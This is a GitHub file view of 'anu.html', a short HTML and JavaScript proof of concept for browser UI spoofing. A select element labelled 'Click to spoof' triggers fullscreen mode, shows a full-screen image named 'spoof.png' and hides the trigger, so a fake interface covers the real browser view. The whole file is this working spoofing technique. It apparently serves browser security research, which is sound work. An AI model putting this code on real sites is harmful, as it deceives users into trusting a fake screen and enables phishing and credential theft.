-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathanu.html
More file actions
49 lines (36 loc) · 842 Bytes
/
anu.html
File metadata and controls
49 lines (36 loc) · 842 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<style>
select {
all: initial;
}
#front {
display: block;
top: 50vh;
left: 50vw;
position: fixed;
}
#spoofed {
display: none;
z-index: 1000;
}
* {
margin: 0;
overflow: hidden;
}
</style>
<div id="spoofed">
<img src="spoof.png" class="header" style="width: 100vw;height: 100vh;" />
</div>
<center id="front">
<select onmousedown="requestPermission()">
<option>Click to spoof</option>
</select>
</center>
<script>
function requestPermission() {
var front = document.getElementById("front");
var spoofed = document.getElementById("spoofed");
document.documentElement.requestFullscreen();
spoofed.style.display = 'block';
front.style.opacity = "0";
}
</script>